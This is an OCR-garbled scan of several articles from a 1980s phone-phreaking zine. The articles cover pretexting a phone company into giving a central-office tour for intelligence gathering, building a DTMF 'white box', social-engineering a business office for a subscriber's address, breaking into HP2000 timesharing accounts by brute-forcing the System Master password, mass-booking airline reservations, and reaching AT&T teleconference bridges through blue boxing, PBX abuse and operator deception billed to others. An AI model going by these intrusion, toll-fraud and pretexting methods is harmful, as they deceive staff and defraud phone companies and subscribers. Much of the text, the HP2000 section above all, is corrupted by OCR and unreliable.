by The Kid & Co.

Having spenta lot of time trashing outside the OO, Ldecided it was ime to see
what was inside. Well. the first idea that came to mind was to try and make my
own informal tour. This was impossible due to the magnetic lock on the door. 5o
my next thought was why not try to arrange a tour legitimately? Who would
expect a phreak to try that?!?

A call 1o the business office started me on my way. They in turm gave me the
phone number of the Public Relations people, who told me to send a letter toa
primary switching oflice in my area. | anxiously waited [or several weeks, Then
one day | received an wrgent phone call from the teleo while I was out. Thinking
it was Bell Security, | became nervous. | called back but the person who called
wis oul. 5o | had to wait. Sure enough he called back. | was very relieved when
e infermed me that he was calling about the tour | had requested. | was also
surprised 1o lind that he sounded like a reasonable human being. We worked out
some details and set up a date for the tour, | now had 1o select the group 1o go
with me and prepare some gquestions,

| could bring up 1o 10 people on the tour. My obvious [irst choice was my
phriend. The Shadow. The real problem was who else could | bring? 1 did not
want to take a chance on someone saying too much and thus creating a problem.
S0 | chose several others., sticking to people who were just interested in the tour
hecause they wanted 1o know what the CO was, but weren T smart enough toask
embarrassing guestions,

The Shadow and 1 spent several hours prepanng guestions 1o get the
maximum bepefit from the tour, We found that those few hours we spent
preparing ourselves were well worth the time. We started with simple gquestions
towhich we already knew the answers. These would lead 1o the more complex
and specific guestions. without revealing our true identities as
telecommunications hobbyists,

After weeks of waiting, the day of the CO tour arrived. We were ready!
Notchooks in hand, ready 1o record the commentary, we drove the Tamilar
route to the CO. We looked nostalgically at the dumpster and thought, *No. not
now, later.™ Upon arrival, we were forced to wait outside while our guide, the
System Manager. was being notified. He finally appeared and grected us
pleasantly, Much to my surprise, he did not look like 2 standard telcoemployee,
For he did not wear the obligatory Mannel shirt, We entered the building and ook
the elevator 1o the switching room, 1 took control of the situation by BS'ing our
puide while The Shadow copied down anything he could find written on the
walls, ete. We were shown a #1 Crossbar Tandem and the ESS #1 A, which were
co-residents on the switching Moor. We examined the billing tape drives and
asked several questions as to the nature of the tape. After 20 minutes or so on the
switching floor, he took us to the Noor where the wires came in from the outside.
While on this floor we also noticed a TSPS machine, of which he had hutle
knowledge, since “thats AT&T.” Aler asking a few more questions and takng
more notes, he gave me his number and told us 1o call him if we had any more
yuestions. We lelt our friendly tour guide and returned 10 our car parked
conveniently by the dumpster and drove off,

Some Facls

The tour was very informative, We had several misconceptions cleared up.
The first and probably most important thing cleared up by the tour was the
mystery of the hiffing rape! Exactly what does it contain? The tape contains
recards of the following tvpes of calls: 0+, 1+ and 7-digit numbers out of your
local calling area. In other words they only record the numbers that you or
someone else will have to pay for { 14800, collect calls as wellh, The tapes are then
sent to the billing office which handles the billing Tor both the local Bell and
AT&T. According to our guide. the ESS does nor keep track of every digit
dialed. This is not to say that it cant be done, but that it would be impractical,
His €O handles well over a million calls a day., and if it were to keep track ol all
the digits dialed. the storage requirements would be tremendous. Does the ESS
print out a list ol exceptional 1+800 callers every day? The answer is reo, the ESS
does not! But the billing tape does contain records of 1+800 usage. and that type
ol processing may be done by the billing department. not the CO.,

[uring the tour, we were introduced to the ESS 5 1A Our E551s runninga &7
generic program. The #9 generic program is the revision that identifics the
number calling vou belore vouanswer, It consisted of two equipment racks. cach
&% 10, full of printed circuit boards and 1C%. All of the boards were push-in.
pull-out for casy servicing. One might think from the deseription of the ESS tha
we have given that it does not reguire much space. The ESS processor does not
reguire much space at all, but the equipment that interfaces the local loop with
the call processor reguires guite a bit more. Unknown 1o most, the ESS £1A
consists of two independent processors that are consiantly checking each other.
Fhev perform diagnostics il discrepancies do oceur. Dhis isa technigue similar o

the one used by the space shuttles’ computers except that it 1s more reliable. You
cannot shut down the ESS and put a whole town out of touch with the world just
because the computers don't agree, The ESS is programmed via magnetic tape
drives. The ESS stores the information about its configuration and information
about your phone line (special Teatures like call waiting, call forwarding, specd
calling. touch or rotary dialing) on two massive hard drves,

Fiber optics are inuse! As my group discovered, they are bemg put on polesall
over the place, The cabling is called Light Guide and is made by Western
Electric. The transmssion system used 15 called SLOC96 (Shick 96). This system
carries 96 simultaneous phone conversations on a single optic fiber. Our puide
unforiunately did not know more than the name of the system and s
capahilities.

How You Can Meet Your CO

You probably would like to know how you can arrange your own CO tour.
You've spent all that time staring in. but now you're willing to meet all those nice
peaple inside. The first thing to do s to lind a growp to go with. The people at the
teleo are more likely o let a legit organization visit, rather than just a mndom
group of people. Having just one or two people show up will really make them
suspicious. Be sure to take along at least one responsible person 1o make it look
legit. Try groups such as the Boy Scouts, an Explorer Post, a school class, a
computer club, or simply come up with a legiimate-sounding name (not the
Legion of Doom or the 2600 Club). This group should consist of people who
logically have an interest in the phone system  the Audubon Sockety might seem
a little out of the ordinary. The group should be inerested in electronics. A
hored group will want 1o move ongquickly. despite your interest. Dont take only
phreaks, as the eleo may get suspicious. The person who attempts 10 set up the
tour should also have no record with Bell Security, as a routine check might be
implemented. Be sure to get a good mix of technical nontechmcal people on the
tour.

Afer Ninding such a group. you should contact the local telephone company s
public relations office. Companics are worried about their image. for people
tend 10 acquire an anti-big-business bias when they receive big bills. They will
jump at the opportunity to combat this prejudice, and will do their utmost to
ensure a tour, even over the ohjections of workers. Set upa mutually convenient
time for your appointment and let your group know,

Proper planning is the best way to maximize nformation gathering.
Questions should be thought out in advance. The questions should start out
non-technical, gradually progressing toward the technical as the guide letsdown
his, her guard. Be carelul not to make the questions obviously phreak-oriented.
Ask about common knowledge and gencral interest subjects, such as equal
access, the AT&T split-up. fiber optics. and just how does my call get where s
going. Remember, the guide thinks he 15 showing around another group of
idicts. Questions relating to phraud should be asked innocently, and with
references that you have heard about this ternble. dreadful subject in the
pepular media. Questions about blue boxing should quote articles about general
phreaking and hacking. Newsweek articles, and “$12.000 calling card bills
delivered via UPS™ news stories. Remember, vou don™t want to put him on his
guard. For betier results, spread your guestions around for trustworthy (riends
to ask. dont be stingy for you don't want all the atiention.

On the actual day of the tour, be sure 1o bring along notebooks. Y ou will wam
to pecord this event for posterity. and for your phriends. If the guide comments
on your noie taking, just say you are going to wrile a report for school or an
artiche for your club'’s newsletter (sounds familiar). Take down any wst or other
numbers vou see on the wall, but try not to “borrow”™ or you could be in big
trouble. We have heard. third hand, of some phreaks on a CO 1our who took
whatever they could down their shirts. eic, After the tour they were taken into a
room where they were Forced to disgorge all they had phound. 10 snt worth the
risk 1o steal.

On the towr, conduct yoursell properly, as you dont want to stand out. Resist
the urge 1o answer other's stupid guestions yourself, Do not show ofl knowledge.
Omnly gently prod the tour guide on subjects you are interested in. The tour puide
will usually give vou his number lor further questions. Be sure to keep it. Make
sure to leave a good impression so that fellow telecommumnicaiions hobbyistscan
tour the place in the future.

I'hese basic techmigues can be used 1o get a tour at almostany location, Other
places vou might consider are local AT&T Bell Research lacilities. GE,
Northern Telecom manufacturing plants, or any computer center. Ona lour you
can casily pick up information that isdifficult or impossible 1o lind otherwise, Al
the very least you can get the type of switch your COuses. For the most accurate
information on your telephone svstem, go right 1o the source. your local CO°



what a white box can do

This article describes how to take a standard touch tone
keypad and convert it to a portable unit, This information is
essentially public domain and was originally downloaded froa
the old OSUNY BBS, It is also available on Sherwood Forest
and undoubtedly other BBS's around the world. It is bein
reprinted and explained here for those who are not able to ge
this type of inforsation from BES's and for those who are just
starting out in the ghune phreak business, -

1f you convert a touch tone keypad in the manner described
below, you will become more familiar with the inner workings
of your telephone and telephone system. You will also be able
to use rotary phones to call extenders or phone services that
respond to touch tones, because now you will be able to
generate touch tones yourself without hivlnﬁ to depend on the

hone,  You will also be able to use payphones that turn oft

heir touch tones after you dial your nusber. In addition
there are often phones 1n airports, hotels, and at Ihini
machines which have no dial on thea and autnlitita!lg dial a
pre-prograssed nusber #usuallg a service nusber), which can be
used by someone with a portable dialer to enter a number or
nusbers before the pre-prograsmed one starts to dial, thus
gaining control or causing a wrong nusber. It is often the
case that after the nuaber "dials or the error message ends,
the phone aight eventually revert to a dial tone which can be
used. A nr@:hle tone generator like this is more useful than
tapping the plunger on the telephone when no dial or keypad
are available, which takes patience and effort. If qu
purchased a portable dialer, it would cost from $20 to 330
dollars, ood ones that resesber 99 nuabers, are password
protected, and are sealler than a calculator cost $60 to $70
dollars, Often they are available fros_long distance services
for less, when you sign up for thes. The “procedure related
below is a nice ulr to hr:ng new life to an old touch tone
phone or tiygad. Please note that the building and the
general use of this device is legal and fun,

First of all, the tones made { a touch tone telephone are
not single tones, they are a coabination of two tones, making
"DTHF" 13ui1 tone multi-frequencyl. The normal tone telephone
dials 12 different signals, but is capable of dialing lb
ditferent signals, . )

The power required by a wired tergad is about 25 volts, but
they will work with as little as 15, thereby allowing you to
use two ¥ volt radio batteries. As you aay have eatpastrasi

uessed, they are also ﬁESi?ﬂld to operate with a telephone
ype speaker {and phone linel, and not the standard & che
speaker which needs to be used for adeguate volume. To
accosplish this, we use a matching transformer, this is one of
those miniature ones available at Radio Shack. Enough of the
theory, now for the circuit.

You will need:

A touch tone keypad

A miniature 1000 to @ ohe transtoraer
(Radio Shack # 273-1380)

A standard B-ohm speaker

Two 9-volt radio batteries

Two 9-volt battery clips

A case to put it all in (optional)

A few construction notes, it is suggested that you solder
and tape all connections, it_:: also isportant to read this
entire article before attespting to construct this. _

First, connect the RED wire of the transtormer to either
terainal on the speaker. MNow connect the WHITE wire from the
transforaser to the other terminal on the IEIIkEr.I Next,
connect the (positivel wire of one battery clip to the
black wire of the other battery clip. connect the
remaining RED wire on the second battery clip to the GEREEN
wire froa the touch tone pad. Connect the BLUE wire from the
touch tone pad to_ the ORANGE-and-BLACK striped wire from the
touch tone pad. To these two wires, now connect the resaining
black lead from first battery EIIE- You have now finished the

ower connection to the keypad. Connect the BLACK wire froa
he keypad to the BLUE wire on the transformer. MNext connect
the RED-and-GREEN striped wire from the tl?!lﬂ to the GREEN
wire on the transforser. The BLACK wire on the transformer
should not be connected to anything, along with quite a few
wires froa the keypad. The connection of the keypad is now
coaplete, All you have to do is connect two nine volt
batteries to the hatterI clips, and you'll be ready to go. You
may want to mount it in a case for easy portability. Note
that the silver box modification CAN be made to this unit,
allowing complete resote phreaking. This is a bit wore
complex than the conversion you have accomplished above. When
none of the buttons are pressed, this unit uses N0 power,
thereby eliminating the need for a power switch, and extending
the life of the batteries.



a phone phreak scores

This is another story to add to the annals of social
engineering, one which we all can learn froms... o

A few months ago IE Moa had some people refinish and
blacktop our driveway. 5o she called some companies in the
phone book, and she chose the cheapest one. H‘!EI case and did
most of tﬁg work, and Mom paid thea, pruv;din? hey came back
5n¥n t? finish the blati:tnpm?q pb. This all Tﬂﬂﬂd!‘ﬂ tine
but atter several weeks ot the company calling up and
pn;trnn:ng the final work, Mom wanted it done. She decided to
visit the company at the address listed in the phone book,
because she would always get an answering machine when she
called thea, but when she got there, she found out that it was
just the back room of & storefront and that the company had
‘iitlﬂ!d it a few months earlier. When !l’lgI tried calling thea
their nuaber had been changed. Go I did a CNA on their new
nuaber for Mom, and she visited the new address that I got.
When Mom got to the new address she found a vacant lot. It
was at this point that it started to sound pretty fishy to Moa
and 1.  But how could we find out where they were, if they
gave a fake address to the phone company?

That's when It occurred to we to call the business office
that handles that cospany’s telephone. 1 called and they
answered: "Your nusber, please," 5o I gave thea the company’s
nusber, and 1 proceeded to tell thes how I did not get ay last

hone ﬁi]l, and how 1 wanted to make sure they were sending it
o the right address. They told me the real nase and address
Inot the one at CNA or Directory Assistance, which was the one
it was listed under, there is a difference, you know), they
asked if [ was "Mr. So and S5o0," to which I responded "Yes.
Then they asked if | wanted to change the lliiin% address. 1
%ﬁidi "No, that's wy partner’s address. No need fo change it.
ank you, . Ny _

And that was it, | found their address. Mom visited their
new location, which happened to be & trailer in the aiddle o¢
a big field with a telephone and a ﬁﬂﬂlr cable going into it.
When™ she found the people at the company, they were quite
startled, because it seesed that they did not have a license
to do the work that they were doing and had several other
custosers and some governaent iEEntlEi looking for thes.
Since Mom had the goods on thes, they were obliged to finish
our driveway, and that's all Moa wanted after all.



HACKING PACKARD

The pur
2 ot e R v gt b
following notation will be uEE & a thls tuturlnll
yi= :irr1ige return, TURN g s, BtC,
ks ontrol character (control-C'in exanplel
EHF!T#L LETTERS - gn!?gtlr gﬁ&ﬂnt & user 1npu

Each HFE?D systes can luppnrt up tn I? users in a TIIE!hir!?
BASIC (TSB) env ;ru? pent, The sys | ysually run a version o
Hewlett Packard's Timesha EEE E DHE (various Levels),

Once_ connected to a 000, e ¥Ype 4 n ollowed by &
(LR}, The systes shpuld then r:s ond n1th: LE EE ﬂé f ?T
does_ not 1||eﬂlite E respond keep. on trying this prn:e ure
until 1t does (they tend tn be slow to rfsgnnd}

User ID: The user i1d consists of ter followed by 3
digits, e y H2dl,

aSSHOr The passwords are from_ 1 to & printing and/or
ag%;p;hnting (control) characters, The fnlluu:n%r:h racters

e found in ihT asswords so don’ } bother Ijﬂ# thﬁl.
line delete (*X), null {~d4), return {“HI ing feed (

5}, rubout cnlli (*), 'space (%' a:t arromw 11
undefscore 1 ). also su geata Ea e Mot used :n
passuords {bEI i hi?l seen it 5

The logon format is: HELLO-A1Z3,PASSND  Where: HELLD is the
login command. It may be abbreviated to WEL. AL23 is the user
id_& PRSSMD is the password.

The systes will respond with either ILLEGAL FORMAT ur ILLEG
nEEESE dzznnd1n upon whether Euu screwed up the synt :: nr 1

5 an iny id_or password. The messages: PLERS
! %Egig IRRAT L ILCeRRLPREEERET slgn Rapsagest TLENCE LOEa00
h r

g5 also respond with ALL PORTS ARE BUSY NON -
FLEHEE ??E HEEIH LATER F or a sisilar asessage. UOne oth
pssibility is NDO TIME LEFT which means that ther have used up
hEIF tllE 11l1t u:thnut piylng.
Unlike other ;; El! where you have a certain ampunt of tr1§5
}n login, the HF2000 system giv!s you ? Efrtiln 5 ae limit
ogon before it duaps you, The systea detault is 120 seconds (2
ainutes). Thn Sfiﬂﬂ can change it to be nnyuhurn hntunln 1 and
. seconds, ough, In  my e:psrlggcf seconds is
sutticient tise for trfin? between ~20-30 log nn ittnlpt: while
hand-hacking k a asuch higher amount when u51nq 2 hacking
program.

USERS

The various users are identified by their user id (A123) &
password, Users are also identified h thajr qrn#p* Egah qrnup
consists of 100 users, For example, ﬂﬂ throu
grnug ﬂﬂ thro h RI99 is_another group, l I? 0 throug h I???
§ the ]ast pﬂ%il group, The #irs user id in ei;? ruup 15
designated as roup Master & he has certain privile ll.
exanple, AOOD, ALOO,.,.H200..., & I900 are all broup Il EF!
The user id AOOO' is known is the System Master l he {hé
#pst privileges (besides the hardwired sysop termina } he
library assofiated with user Eﬂ?? can be us!? to store a HELLD
pru%ra th:h 15 executed each tiee spmepne logs on.

the best thing to hack nn an HP2000 sys EI is the nglit

Naster (A000) a cu nt. It is also the only u:!r 1 ﬁi
on the s Bl n 5 onb tT¥1ng HEL-ADO0, PASSN ;nu just
have tn ack ﬂu n passwar u Itldi tn hack 1999, vyou

can create or change the HELLO ru ral to give every user your
own personal message every time he "logs on' This is about all
you can do with® I5%9 though since it is otherwise a

non-privile ld account
priviieg LISRARY OREANTZATION
Each user has access to I levels of l;hrarrns. his own
pr1?it= library i rqu ljbrary, and the systes 1hrar Tn
Eee E at is in these librar ili you Hnuld t p!l Eﬁla]ng
rary rn:pn:t+veif (all comsands :an bbreviated tu
flr!t 3 letters) individual user is respuns:hie for hll
ER s E and maintaining all the files. If a program is in
vuur TALUG, then you ¢ n :hln e it.
fDU i!tlfgf
Group Masters (GM) are riipﬂnll e for controlling all
prﬁqull in the Eruup !lhrirlas. Only IElh!rs ﬂf th ﬁruup can
use t E!E prograss. These are viewed é For
E[ll , user Eﬁﬂﬂ controls all prg&rala 1n t E roup library
E a users be :nnln with id § ther users in th ruup
ANNOT lndlir these ngrai!. All programs in the grou v
ire also in the uut Mast Ei private llhriry {CA ﬂ
therefore he can sodify thes! The Grou Nister dlso hig it:eii
to rlvlleqe comaands. lh&y If!' PROtec UNProtect. With
FROTELT, Ernup Hiit!r tin rln er a prngrll so it cannot be
LISTed, EﬂVld ve ) : Iﬂ Hﬁ paper tape; or IP th!d. F
Euil 18 } E other users in E
Inu EEHih tn RU HUHPUS hut thi? would not be ab e ? 115
can remove these restrictions with the UNProtect
:nllind.
{Systes Master

4000, He- can' PROTECT & Eﬁﬁau?eﬁ?'ﬁﬁﬁqiéfl I ohe'syites 1 10

available in full on Sherwood Forest 1L

by EBEioc Agenmnt O0=

Library.

All users have gccess to these files b ing LIBRARY to
yiew thea, Only the bystem Mas gr can aodit ? Eﬁﬁiqul ll Ilnt!
his EFl?IlI 11 riry - :Eugtzl;!rir tﬁﬂﬂi itud f ﬂr Syst El
g 2 to other priv coamands
theud DIRECTORY: th?a comand. w111 "pritou bt sites 3 “and
prugrils stored on the system accord 1nﬂ ? Eers 1
he entire g%r!tanry. DIR-5900 will start liitlnq thE

djrt:tnry With user xample:

33”“§ﬁaﬁ§ alh il g, o
it

; Eﬂiﬁ!b
Z ﬂﬂg?EI
B 0028
B4351 1
8300 6IS i

5 0374
1999 HELLD DHUEH
In th15 EIiI Ehe system nam BDEEE ED 1. The date of
tg rintout sord day of 1984 (053/84) and the tise is
[E#-hrl The f11e5 aEpnirlng under ADOO are those in the
Eystnl Llhrf associated with the program is the
t was i!£ rl nrnn:ed* The LE is how long 1t is 1n
Hnrgs* Cref ITE to its !tﬂFi? g block location on one of
grives. ? refers to its location on thn d;un sturaq:
Only sanctitied programs are stored on a drus to increase
thn:r access time. The lefters after th! date refer to F 1# it
15 a file, IEIni it is prgtected and C laini the program is
coapiled, h: Illlp e the EISE?I Eruaia|, WUNPUS, was last
used on thn day of 15 turr!nt!r
unlistable (FR :ctnd: and 1t ccupies 2635 unrds of  neaor
Ilir ing at disc block 3I4? he :nlland SDIrector ulll prin
rograas that are only stored on drus. systea
dire: ories are wusually lnnqer th n the exam ln. Thi ih?vl
iIiIEIE is an abridged version of a page directory!
(BRERK> key will STOP the listing if nncn:iirf

REP
The REPORT command will show the USER id, how much terminal
TIME they have used since the last billing p:flud {in minutes),
and how ¥th disc SPACE they are using. Example:

04
42
a7
i1
-

[=F) mt-—i
—
—

0
2
1

9%

B i i T il e il e
] |
==

002
0031
0118
3 0119
! 0
011863
g is
|

1D ? £ D ﬂEE!ElD q ID TIME SPACE
ggﬁ 01150 EEEE glil 38 93 EE&I BBA&4 00000 00000
00235 06861 5 1 000 1999 00000 0005E
The a ﬁtigi of hacking the A/OO0 password first i that you
:in USE he privileged Eﬂ!llnﬂ! to see which user 1d's exist
tr.:: Hrnqrzls are stored where so that you can further
Inl
" i i e (yersions) of TSB/2000, This
artic n is based prllirlll on Level F. Most of the lrvel
are similar in their cosmands so the ¢1+f:r:n:es nhuu
ot 1o “Gg St R Sl 1
syS5 Ve
n’t gan slritnr FBEH rEdLaé ﬁ:s:;?:iLlEnEEhlrutivat';
IL EEHL HEE&5§ hese are ﬂgiﬁ tfl?llf probleas, fhnu;n? H

Heulet} Packard often supp 1e: prograas rul thl1r
brarr or th! l?ttlii* % 1t‘f’ such as ASCII PE{
hnri are 1nev1 abl uun Eﬂ BYErY & !{EIr alrd
g;;;gasuzﬂias HUH nlp nies n%iir ver;in;rn: !f?ui;:iglsgn:
he HP2000 'i su. E Eu1dant! ]n*url t1uﬁ 555 gl!] is a

dltlhlll to help qu1dinfe cuunselurs elp 5tudan § to select
c lleqes. jobs, financia 11 i c. E 15 usually found in the
rBU{ }ihrirr Elnrnne wit S3xx password can u&r ith.
unfnr unate f aes th ls! pro rIII are set that a
:Ertiin issunrdr:15 lngIitlE EI} lethu. %n SoBe Eiiiiﬁ; E
can abor n he [ EFE 11 |
function :1=Enx?n}5 it Slabton the ‘THRealtTE
case, only t f or the progras can throw ynu |ntn
here are lin eqed bugs on the HP2000 that allow u:ers "to
E: l:%lu:nrﬁ‘ D thln §. Ii you run across any of these be sure
Most of %HEE HFIﬂﬂﬂ systeas are used by schools, school

ﬁi:trlnti and various businesses. This was an Ba
s stea for 5:huu 5 be HEE RiCro- :nlputers a:::tnd. Ihﬁ HP 2000
stence since as been

}::Eﬂlgyhtﬁg ﬁgi 06 there are 5tr?¥“lin ﬁﬂﬂ steas
lnﬂarlitenct & | hlflfri %hi lh!yfulllp! a t lr! tor .-E¥}
starred: 1303/ 002- 1043 1983 1P§?I?§??’ FE00Tt L3131 355g 10 oet oo

R L o e WL T hs sl Ak it Theil Ei
i pe [ ] ro i 1
the CBREAD> Koy oo IPe e b alhe prompt, orospt.

You are then in,

(F143591517)



People Express To Be Hacked To Pieces

by Paul G. Estev
If a business is staerting a new, expensive

touch-tone interactive phone service, it
should assess its real usefulness. New
systems should be tested by the real users
as well as the system creators. All too
often, businesseas do not notice that their
systems have fatal flaws or are user
unfriendly.

People Express, the growing economy

airline (economy carrier) has started such a
new service that has many of the worst
features of any Tone Activated Service
(TAS). Other services like this are George
Bank By  Phone, IBM-Audio Distribution
System, and Mobil Credit Check.

The new service is called "Pick Up & Go"
and has been described in detail in recent
advertising. It 1s a system where anyone
could reserve airplane tickets for any
People's flight using a telephone.
Originally developed by ATET, Pick Up & Go
should be going soon.

This service is in many ways like other
TAS's, but unlike a voice-mail system, there
'is no real reward for exploring this system.
With voice-mail systems, people acquire
accounts which they can use. In Pick Up &
Go, there are no free plane tickets to get,
because you can only book the flights. The
tickets must be icked up at your
flight...and paid for then. Yet, it is an
example of poor design using this now common
technology, which integrates phone systems
with data lines-in this case, the reserva-
tion computers.

People Express 1is
prices, whic dives
edge to be known as
airline as well as good
also has its drawbacks.
low incentive for travel
flights on the airline.
People's is well known for
flights while expecting
potential passengers to
People's instituted this service so they
could get around the travel agent problem.
But it 1s expected that they will have more
of the same problems with the booking of

known for their low
them the competitive
the fastest growing
inveatment. This
Low prices means
agents to book
In addition,
overbooking
many of the
not show up.

fliﬁhts. if not more of different
problems. ..

This is how the system works: As with
most TAS's, there is a voice that asks for
touch tone input as to what date, time,
flight, ete. you wish to take. At first, a

female voice asks
identification n
(they suggest that

ou for a seven digit
er which you can make up
: ou enter your phone
number, so it is easy for you to r er).
You tell the people at People Express this
number when you pick ug the tickets, so they
know that it is really you who made the
regservation. In effect vou are just giving
them a password. S0 you enter your seven
d1$1t code then a '#'. (Remember, you enter
a '#' after each command, and numbers can be

either one or two digits. You will be
rompted by the wvoice for each entry.).
ghen you enter the month you wish to travel

then a '#'; then the date you wish to
travel; then the coding for the airport you
wish to leave from; your destination; then
the number of tickets you want; then your
desired departure hour. (Follow the hour by
an 'a’ or a 'p' for am or pm. After this

prompt the voice will tell you the two
closest flights to the hour you indicate.
It will also check to see if any seats are
available at this point.) Finally, wyou
enter the flight you deaire. You are then
told the price of the flights wyou have
booked. At this point you are looped back
to the beginning, where you can hit a '#" at
each prompt and it will ‘ditte’ your
previous entry. You can book up to 5 seats
per code, but you are able to enter a new
code when you loop back, in order to book
ten, a hundred, or even thousands of
flights, if you are patient and devious.

Note again that you do not pay for your
ticketa until vou get to the plane, nor do
you even tell them who you are, in fact you
cannot if you wished to. In addition there
is no provision to cancel reservations, you
cannot do thie if you wished to either.

This system will allow anyone to reserve
almost any number of tickets on any flight
leaving in the next two months or so. You
can book a flight anywhere, even to London
(code-549). This is the way things should
be for travelers, fast and easy, but People
Expreass is just waiting for people, travel
agents, and other airlines to take
advantage. United Airlines could book whole
planes and clog up People Express just by
making a phone call. _

It 1s fredicted that this system will be
gone quite quickly, or the software will be
changed but this takes time as we all know.
If they do not do away with this system,
there should be a commotion about hundreds
of people waiting in line for empty flights.
If you wish to try out this system, call

201.769.0205. Some airport codes you may
need to know are: 397-Newark, 29-Los
ﬁngeles, 626—0rlande, T743-5t. Pete. The
codes  correspond to the three-character
ﬁnitiala that every airport in the world
as.
There are a few more things you can do

after Ynu are done booking your flight, like
¥*H#-Help, *B#-discard last entry, *¥D#-Delete
last reservation request, ¥R#-Review current
reservation, *L#-Review all your confirmed
reservations. At this last gru t yvou can
use the following commands: D#-Delete, K#-
Kegﬁ, X#-Exit this function. ‘

e system itself is fairly user friendly,
but the female voice should tell you about
the help function ou should not have to
read about the heip unction in a8 newspaper
advertisement. The voice should also note
that you must enter a '#' after each entry,
but it only does this after you make an
error. You should also be provided with the
list of airport codes (Actually, some are
EﬂS¥ to find yourself:  DEN-336-Denver, STE-?ﬂf-Syracuse.%. If Pecple's
really Wishes to encourage the systea’s usage, it should also have a toll
free nusber. In the end, this service will result in confusion and reduced
ervice, as well as longer Tines at the tersinals. Those who have taken
People Express flichts have both regretted and cose to depend on over-
booking.  And there will be overbooking: by people who want to play with the
systed, by people who make mistakes, by people who do not mind booking a
flight just "in case’ they plan to travel, by travel agents who custosarily
book hundreds of tickets, and _h{ coapeting airlines who wish to do People
Express wrong. This service will do nothing but increase the problem. It
is indicative of the lack of husan factor in creating these systess. It is
surely a pity that big cospanies do not have real people test their new
technology for thea. Marketing consultants and proorassers just sees to
rorgel that 1t 15 people who use the products in the end. It will be people

who sake mistakes using their new systes, and it will be people who will
take advantage of this new systes,



How to run a successful teleconference

by The Shadow
Alliance Teleconferencing Service
bridging

is =
service offering teleconferencing
te businesses. A conference merely is
several phone lines tied together allowing
people to talk to many locations at once.
Alliance is owned vy AT&T Communications.

They use #4 ESS8's (Electronic Switching
Systems) to control their conferences.
According to Alliance, conferences can be

originated and controlled from most loca-
tions in the United States. The service
started out in area code 202, but has been
spreading throughout the country. One thing
to remember is that even in the same area
code some central offices will allow access,
and others may not. Conferees can be from
anywhere dialable by AT&T, including inter—
national. Alliance can be reached at 800-
-544-6363 for social-engineering or for set-
ting up conferences in locations that cannot
access Alliance directly. Uslnf this the
conference can be billed to a Calling Card
or to a third number.

Alliance says the cost of a teleconference
is 25 cents a line per minute, as well as
the cost of a direct dialed call for each of
the locations from the conference site. A
monitoring Alliance operator costs an addi-
tional $3 an hour. Thus, rumors of $6,000
conference bills seem a little exaggeraied+
However, conferences can last for several
days and can have several international
participants, thus running the bill up.

CONFERENCE NUMBERS _

Dialing  0-700-456-X00X will result in
"This is Alliance Teleconferencing in [loca-
tion].- You may dial during the announcement
for faster setup.” The main conference
numbers are —100X and —-200X. The locations
indicated by the X (as given by Alliance and
the logon recordings) are 1 being Los
Angeles, being Chicago, 3 _being White
Plains New York, and 4 being Dallas. 0 gets
vou the conference site closest to you. The
-100X lines only accept UY to 21 conferees
and usually don’'t allow international
::1i:eu]’1::ug!él 1The other conference numbers allow

up to ines when available as the lines
have to be apportioned between the wvarious
conferences going at the site, and also

allow international dialing. According to
Alliance themselves -200X are graphlc con-
ferences, -100X allows up to D9 conferees,
and both always allow internaticnal dialing.
However, actual exploration doesn’t bear
these out.

Alliance doesn’t seem to admit that -300X
conference SH is from 0 to 2, all located in
Chicago, Illinois) numbers even exist.

These conferences announce that they are
raphic, and they seem to bear this out.
hey can also be handled as an audio con-

ference. The only difference is that it
asks when adding conferees whether the loca-
tion is graghics (hit 4) or audio (hit 5).
It's generally best to choose audio. These
tend most often to allow the passing of con-
trol, dialing of international calls, and
are also less used than the other lines.
Dialing 0-700-456-150X or -250X results in
a modem connect soundin tone, followed by
"You have reached Bell System Telecon—
ferencing Service's Special Set for testing
and measurement. Please enter your service
code [3 digits] or wait for instructions.”
These cannot be reached from most area
codes, resulting instead in a "The number
you have dialed cannot be reached from your
calling area" just as if it were an 800
number not reachable from your calling area.
The only one I know that does get threough is
201 (Northern New Jersey). The X goes from
0 to 4, just like the normal -100X and -200X
conferences. There is no -350X series. I
haven’t as of vet figured out the "service
code, " This can be used as a normal con-
ference, except that it requires you to con-
firm vour choice by voice, and each section
is separated by those modem connect sounding
tones. Rumors are that this is the upcoming
new conference system, which is supposed to
add features such as the deletion of con-
ferees. However, any keypress I have tried
other than 1, 6, or 9 (the normal controls)
results in a dire warning telling me "Flease
wait for an Alliance operator to come to
vour assistance."” I haven’t yet stuck
around long enough to find out what "assis-
tance"” means. Alliance won't admit these

exist, and therefore the -150X and —250X
warrant much further and deeper investiga-
tion.

Alliance can be reached by other means.
Blue boxing to 213-080-0123 and other direct
rnutin% to the Alliance machines (which used
to be the only way to get through) mo longe
seems to work. However, box routing to 0-
-700-456-X00X does work. PBX's 1n con-
ference country are often used to call con-
ferences, Merely dial a PBX’s inward access
line, enter the access code, dial an outside
line. and then either touch tone 0-700-456-
~X00k yourself, or dial 0 and get the
operator to do 1t for you. Sometimes they
insist that the 0-700 SAC doesn't exist, but

just remain firm and tell them teo try it.
Social engineering -also works, just call an
convince her to KP+0-

Dgerﬂtﬂr and try to v i
-700-456-1000+ST and position release, after
getting her to believe you are maintenance/
whatever. [
inward operator increases the chance of
succeeding, such as by dlallng 0-959-1211
from a Bay phone (BIOC Agent 003's Basic
Telcom VI, discovered by Karl Marx) Another
trick suggested by Shooting Sharkis to use a
white boxable phone or evenan ATM helpline or a
hotel phone in an airport. Since when arranging
a conterence you really don’t need to speak,
just set up a conference normally, and when
done call another payphone nearby, pass con-
trol, and continue. The conference will
still be charged to the first pay phone.

Several techniques are avallable
improve the quality of the call. Since the
call may be going through up to several
extenders to reach a non-800 PBX, and from
there to Alliance, the signal quality can
EEt quite poor. A technique that helps to
eep Alliance from knowing your number is to

to

cal Alliance wvia a PBX, add in the lower
end of a loop, pass control to it, and then
call the high end. A wvariation on this

technique 1is to call your other line or a
payphone next to you or even, if you have
call waiting, to call yourself again, pass
control to yourself (it works), and then
hanﬁnhup the original call. All these
techniques may not always work, as sometimes
Alliance refuses
tioned above,
CONFERENCE CONTROLS ;

Alliance is extremely user friendly, as 1t
was designed for businessmen. Help mnssufes,
abound, and all you need to do is to fﬂllﬂ;
their directions, but here is a brief goin
over of the cossands. After the logon ra:-:rdin?. choose the nusber of locas
tions for your conference. Choose below 15 locations, as many pecple usg
Alliance, and t_151n? pore locations than available results in “no conference
facilities available now®. To change your choice dial a #, or to 90 omwarg
hit @ B To add a nusber while In control mode dial 1+ the phone nusber.
To dial international dial [ + 011 + the phone nusber. Passing control car
